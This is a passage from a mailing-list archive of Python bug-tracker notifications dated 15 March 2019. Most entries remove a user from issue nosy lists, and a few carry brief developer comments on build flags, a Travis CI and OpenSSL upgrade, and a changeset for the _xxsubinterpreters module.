nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9782>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:08:01 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:08:01 +0000
Subject: [issue6731] Add option of non-zero exit status of setup.py when
 building of extensions has failed
In-Reply-To: <1250634322.79.0.224296931911.issue6731@psf.upfronthosting.co.za>
Message-ID: <1552687681.69.0.306826358252.issue6731@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6731>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:08:27 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:08:27 +0000
Subject: [issue7018] Recommend "*" over "#" in getargs.c typecodes
In-Reply-To: <1254221956.14.0.22830785564.issue7018@psf.upfronthosting.co.za>
Message-ID: <1552687707.45.0.685382552383.issue7018@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7018>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:09:02 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:09:02 +0000
Subject: [issue17784] the test suite should honor an http_proxy for running
 the test suite
In-Reply-To: <1366235084.83.0.373131563913.issue17784@psf.upfronthosting.co.za>
Message-ID: <1552687742.18.0.398710076367.issue17784@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17784>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:09:24 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:09:24 +0000
Subject: [issue10612] StopTestRun exception to halt test run
In-Reply-To: <1291342169.36.0.09336436937.issue10612@psf.upfronthosting.co.za>
Message-ID: <1552687764.93.0.91682299983.issue10612@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10612>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:09:56 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:09:56 +0000
Subject: [issue17769] python-config --ldflags gives broken output when
 statically linking Python with --as-needed
In-Reply-To: <1366143734.86.0.154931116413.issue17769@psf.upfronthosting.co.za>
Message-ID: <1552687796.17.0.23982620123.issue17769@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17769>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:10:52 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:10:52 +0000
Subject: [issue10933] Tracing disabled when a recursion error is triggered
 (even if properly handled)
In-Reply-To: <1295353872.95.0.129870258846.issue10933@psf.upfronthosting.co.za>
Message-ID: <1552687852.43.0.60655868782.issue10933@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10933>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:11:31 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:11:31 +0000
Subject: [issue12808] Coverage of codecs.py
In-Reply-To: <1313983372.14.0.793098723033.issue12808@psf.upfronthosting.co.za>
Message-ID: <1552687891.35.0.824613277653.issue12808@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12808>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:14:30 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:14:30 +0000
Subject: [issue23861] Make stdprinter use DebugOutputString when no
 stdout/stderr available
In-Reply-To: <1428087350.41.0.355922680582.issue23861@psf.upfronthosting.co.za>
Message-ID: <1552688070.83.0.502240172204.issue23861@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23861>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:15:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:15:58 +0000
Subject: [issue22035] Fatal error in dbm.gdbm
In-Reply-To: <1406024440.03.0.44171364302.issue22035@psf.upfronthosting.co.za>
Message-ID: <1552688158.16.0.881565136364.issue22035@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22035>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:16:19 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:16:19 +0000
Subject: [issue9698] When reusing an handler,
 urllib(2)'s digest authentication fails after multiple regative
 replies
In-Reply-To: <1282892368.57.0.758322534297.issue9698@psf.upfronthosting.co.za>
Message-ID: <1552688179.92.0.905477061003.issue9698@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9698>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:16:43 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:16:43 +0000
Subject: [issue15244] Support for opening files with FILE_SHARE_DELETE on
 Windows
In-Reply-To: <1341342894.98.0.559958462018.issue15244@psf.upfronthosting.co.za>
Message-ID: <1552688203.27.0.323778724917.issue15244@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15244>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:17:01 2019
From: report at bugs.python.org (Eric N. Vander Weele)
Date: Fri, 15 Mar 2019 22:17:01 +0000
Subject: [issue33990] CPPFLAGS during ./configure are not passed-through in
 sysconfig.customize_compiler
In-Reply-To: <1530213218.16.0.56676864532.issue33990@psf.upfronthosting.co.za>
Message-ID: <1552688221.93.0.0759216373484.issue33990@roundup.psfhosted.org>


Eric N. Vander Weele <ericvw at gmail.com> added the comment:

I discovered that `Makefile.in.pre` injects include paths for building the interpreter, itself, which should probably not be passed along via distutils for building C/C++ extensions ?.

https://github.com/python/cpython/blob/842a2f07f2f08a935ef470bfdaeef40f87490cfc/Makefile.pre.in#L101

It seems like more investigation is required in determining the purpose of `CPPFLAGS` with respect to building the interpreter and if `distutils` should be passing along at`./configure` time of the interpreter.

For now, specifying include paths via `CFLAGS` will still suffice until the scope of `CPPFLAGS` is better defined.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33990>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:17:08 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:17:08 +0000
Subject: [issue21315] email._header_value_parser does not recognise in-line
 encoding changes
In-Reply-To: <1398009498.59.0.139606640186.issue21315@psf.upfronthosting.co.za>
Message-ID: <1552688228.57.0.842822294676.issue21315@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21315>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:17:41 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:17:41 +0000
Subject: [issue21120] PyArena type is used in headers from the limited API
In-Reply-To: <1396339821.73.0.473299529971.issue21120@psf.upfronthosting.co.za>
Message-ID: <1552688261.64.0.670950916342.issue21120@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21120>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:20:03 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:20:03 +0000
Subject: [issue21110] Slowdown and high memory usage when adding a new module
 in embedded Python 3.4 on 64bit Windows
In-Reply-To: <1396262123.2.0.239412802273.issue21110@psf.upfronthosting.co.za>
Message-ID: <1552688403.66.0.0715563422996.issue21110@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21110>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:20:38 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:20:38 +0000
Subject: [issue22149] the frame of a suspended generator should not have a
 local trace function
In-Reply-To: <1407271163.94.0.203518620414.issue22149@psf.upfronthosting.co.za>
Message-ID: <1552688438.66.0.968633761985.issue22149@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22149>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:23:54 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:23:54 +0000
Subject: [issue22608] test_socket fails with sem_init: Too many open files
In-Reply-To: <1413026581.56.0.334221063135.issue22608@psf.upfronthosting.co.za>
Message-ID: <1552688634.36.0.707452032159.issue22608@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22608>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:24:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:24:33 +0000
Subject: [issue23126] Add Python hook function to replace NameError
In-Reply-To: <1419784501.24.0.582986414066.issue23126@psf.upfronthosting.co.za>
Message-ID: <1552688673.51.0.284790739187.issue23126@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23126>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:24:57 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:24:57 +0000
Subject: [issue16834] ioctl mutate_flag behavior in regard to the buffer size
 limit
In-Reply-To: <1357052189.92.0.352175087043.issue16834@psf.upfronthosting.co.za>
Message-ID: <1552688697.34.0.930463854129.issue16834@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16834>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:26:06 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:26:06 +0000
Subject: [issue15787] PEP 3121, 384 Refactoring
In-Reply-To: <1346038565.61.0.980658052428.issue15787@psf.upfronthosting.co.za>
Message-ID: <1552688766.42.0.753821488903.issue15787@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15787>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:26:26 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:26:26 +0000
Subject: [issue14073] allow per-thread atexit()
In-Reply-To: <1329833528.5.0.177059033602.issue14073@psf.upfronthosting.co.za>
Message-ID: <1552688786.42.0.673251397073.issue14073@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14073>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:26:53 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:26:53 +0000
Subject: [issue2889] curses for windows (alternative patch)
In-Reply-To: <1210919907.42.0.842256015219.issue2889@psf.upfronthosting.co.za>
Message-ID: <1552688813.09.0.514941173586.issue2889@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue2889>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:27:14 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:27:14 +0000
Subject: [issue20613] Wrong line information in bytecode generated by compiler
 module
In-Reply-To: <1392261429.58.0.605484301904.issue20613@psf.upfronthosting.co.za>
Message-ID: <1552688834.67.0.25561710814.issue20613@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20613>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:27:37 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:27:37 +0000
Subject: [issue19547] HTTPS proxy support missing without warning
In-Reply-To: <1384119115.17.0.177090288449.issue19547@psf.upfronthosting.co.za>
Message-ID: <1552688857.0.0.655585944408.issue19547@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue19547>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:27:56 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:27:56 +0000
Subject: [issue20233] Re-enable buffer API slots for heap types
In-Reply-To: <1389584815.64.0.0171986621456.issue20233@psf.upfronthosting.co.za>
Message-ID: <1552688876.17.0.187810840557.issue20233@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20233>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:28:14 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:28:14 +0000
Subject: [issue20257] test_socket fails if using tipc module and SELinux
 enabled
In-Reply-To: <1389692362.24.0.80510230142.issue20257@psf.upfronthosting.co.za>
Message-ID: <1552688894.12.0.413807432844.issue20257@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20257>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:28:35 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:28:35 +0000
Subject: [issue7877] Iterators over _winreg EnumKey and EnumValue results
In-Reply-To: <1265578300.82.0.0744515010877.issue7877@psf.upfronthosting.co.za>
Message-ID: <1552688915.68.0.842074293332.issue7877@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue7877>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:29:03 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 22:29:03 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552688943.02.0.91561433462.issue36307@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

Yes, absolutely.

While were at it, should we also bump the OpenSSL version up to the latest 1.1.1b, which is the current LTS branch (with 1.0.2 EoL in Dec. 2019 and 1.1.0 EoL in a few months, in September)?

----------
components: +Build

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:29:17 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:29:17 +0000
Subject: [issue16232] curses.textpad.Textbox backtrace support
In-Reply-To: <1350225485.82.0.832122533952.issue16232@psf.upfronthosting.co.za>
Message-ID: <1552688957.6.0.705139817529.issue16232@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16232>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:29:39 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:29:39 +0000
Subject: [issue21992] New AST node Else() should be introduced
In-Reply-To: <1405527228.32.0.961029538035.issue21992@psf.upfronthosting.co.za>
Message-ID: <1552688979.45.0.466930015874.issue21992@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21992>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:30:02 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:30:02 +0000
Subject: [issue9784] _msi.c warnings under 64-bit Windows
In-Reply-To: <1283777742.83.0.840213462008.issue9784@psf.upfronthosting.co.za>
Message-ID: <1552689002.15.0.580835232009.issue9784@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9784>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:33:04 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 22:33:04 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552689184.82.0.648510573528.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12327

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:34:26 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:34:26 +0000
Subject: [issue4071] ntpath.abspath fails for long str paths
In-Reply-To: <1223425635.48.0.940202056696.issue4071@psf.upfronthosting.co.za>
Message-ID: <1552689266.28.0.757233499501.issue4071@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4071>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:35:04 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:35:04 +0000
Subject: [issue3931] codecs.charmap_build is untested and undocumented
In-Reply-To: <1222085190.52.0.690275455212.issue3931@psf.upfronthosting.co.za>
Message-ID: <1552689304.73.0.805233232897.issue3931@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3931>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:35:34 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:35:34 +0000
Subject: [issue1724366] cPickle module doesn't work with universal line endings
Message-ID: <1552689334.57.0.216136334887.issue1724366@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1724366>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:35:52 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 22:35:52 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1552689352.67.0.62002030402.issue36097@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset c11183cdcff6af13c4339fdcce84ab63f7930ddc by Eric Snow in branch 'master':
bpo-36097: Use only public C-API in the_xxsubinterpreters module (adding as necessary). (gh-12359)
https://github.com/python/cpython/commit/c11183cdcff6af13c4339fdcce84ab63f7930ddc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:36:00 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:36:00 +0000
Subject: [issue12137] Error EBADF in test_urllibnet
In-Reply-To: <1305995654.0.0.162674044436.issue12137@psf.upfronthosting.co.za>
Message-ID: <1552689360.64.0.0452295934763.issue12137@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12137>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:37:51 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Fri, 15 Mar 2019 22:37:51 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1552689471.68.0.304872302367.issue36305@roundup.psfhosted.org>


Change by Maor Kleinberger <kmaork at gmail.com>:


----------
keywords: +patch
pull_requests: +12328
stage: test needed -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:38:07 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:38:07 +0000
Subject: [issue6911] Document changes in asynchat
In-Reply-To: <1252942019.67.0.473669726807.issue6911@psf.upfronthosting.co.za>
Message-ID: <1552689487.05.0.0376546563701.issue6911@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6911>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:38:29 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:38:29 +0000
Subject: [issue15286] normpath does not work with local literal paths
In-Reply-To: <1341679642.43.0.277228630346.issue15286@psf.upfronthosting.co.za>
Message-ID: <1552689509.48.0.61399956797.issue15286@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15286>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:39:27 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:39:27 +0000
Subject: [issue8576] test_support.find_unused_port can cause socket conflicts
 on Windows
In-Reply-To: <1272619084.25.0.373754420183.issue8576@psf.upfronthosting.co.za>
Message-ID: <1552689567.97.0.814206868863.issue8576@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue8576>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:39:51 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:39:51 +0000
Subject: [issue6701] Make custom xmlrpc extension easier
In-Reply-To: <1250240628.37.0.491365957246.issue6701@psf.upfronthosting.co.za>
Message-ID: <1552689591.71.0.072880162968.issue6701@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue6701>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:40:17 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:40:17 +0000
Subject: [issue20128] Re-enable test_modules_search_builtin() in test_pydoc
In-Reply-To: <1388905827.82.0.948519018287.issue20128@psf.upfronthosting.co.za>
Message-ID: <1552689617.04.0.783474162617.issue20128@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20128>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:40:41 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:40:41 +0000
Subject: [issue23382] Maybe can not shutdown ThreadPoolExecutor when call the
 method of shutdown
In-Reply-To: <1422951603.17.0.63584283635.issue23382@psf.upfronthosting.co.za>
Message-ID: <1552689641.73.0.286911761656.issue23382@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23382>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:41:13 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:41:13 +0000
Subject: [issue21944] Allow copying of CodecInfo objects
In-Reply-To: <1404906729.25.0.633895333058.issue21944@psf.upfronthosting.co.za>
Message-ID: <1552689673.9.0.416004054839.issue21944@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21944>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:41:36 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:41:36 +0000
Subject: [issue21865] Improve invalid category exception for
 warnings.filterwarnings
In-Reply-To: <1403654797.31.0.372707276339.issue21865@psf.upfronthosting.co.za>
Message-ID: <1552689696.81.0.106278075652.issue21865@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21865>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:42:57 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:42:57 +0000
Subject: [issue9985] difflib.SequenceMatcher has slightly buggy and
 undocumented caching behavior
In-Reply-To: <1285770739.15.0.805040100323.issue9985@psf.upfronthosting.co.za>
Message-ID: <1552689777.45.0.832781557405.issue9985@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9985>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:43:46 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:43:46 +0000
Subject: [issue21889]
 https://docs.python.org/2/library/multiprocessing.html#process-and-exceptions
 doesn't explain exception
In-Reply-To: <1404165638.91.0.279596288902.issue21889@psf.upfronthosting.co.za>
Message-ID: <1552689826.92.0.833931275951.issue21889@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21889>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:44:13 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:44:13 +0000
Subject: [issue10954] csv.reader/writer to raise exception if mode is binary
 or newline is not ''
In-Reply-To: <1295519548.77.0.698015070506.issue10954@psf.upfronthosting.co.za>
Message-ID: <1552689853.51.0.995769499892.issue10954@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10954>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:44:40 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:44:40 +0000
Subject: [issue12010] Compile fails when sizeof(wchar_t) == 1
In-Reply-To: <1304628330.77.0.074499731654.issue12010@psf.upfronthosting.co.za>
Message-ID: <1552689880.14.0.933657854998.issue12010@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12010>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:45:33 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:45:33 +0000
Subject: [issue10515] csv sniffer does not recognize quotes at the end of line
In-Reply-To: <1290534942.45.0.466757650174.issue10515@psf.upfronthosting.co.za>
Message-ID: <1552689933.1.0.0439130622696.issue10515@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
